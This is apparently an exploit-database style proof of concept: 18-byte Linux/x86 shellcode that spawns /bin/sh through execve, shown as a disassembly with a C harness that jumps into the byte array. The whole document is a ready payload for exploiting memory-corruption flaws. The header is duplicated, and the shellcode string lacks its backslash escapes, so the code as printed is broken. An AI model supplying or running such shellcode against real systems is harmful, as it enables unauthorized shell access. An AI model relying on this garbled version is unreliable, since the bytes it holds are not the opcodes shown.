/*
# Linux/x86 - execve /bin/sh shellcode (18 bytes)
# Author: Anurag Srivastava
# Tested on: i686 GNU/Linux
# Shellcode Length: 18

Disassembly of section .text:
# Linux/x86 - execve /bin/sh shellcode (18 bytes)
# Author: Anurag Srivastava
# Tested on: i686 GNU/Linux
# Shellcode Length: 18

Disassembly of section .text:

08048060 <_start>:
8048060: 6a 0b push 0xb
8048062: 58 pop eax
8048063: 53 push ebx
8048064: 68 2f 2f 73 68 push 0x68732f2f
8048069: 68 2f 62 69 6e push 0x6e69622f
804806e: 89 e3 mov ebx,esp
8048070: cd 80 int 0x80

===============POC by Anurag Srivastava=========================
*/

#include<stdio.h>
#include<string.h>

unsigned char code[] =

"x6ax0bx58x53x68x2fx2fx73x68x68x2fx62x69x6ex89xe3xcdx80";

main()
{

printf("Shellcode Length: %d ", strlen(code));

int (*ret)() = (int(*)())code;

ret();

}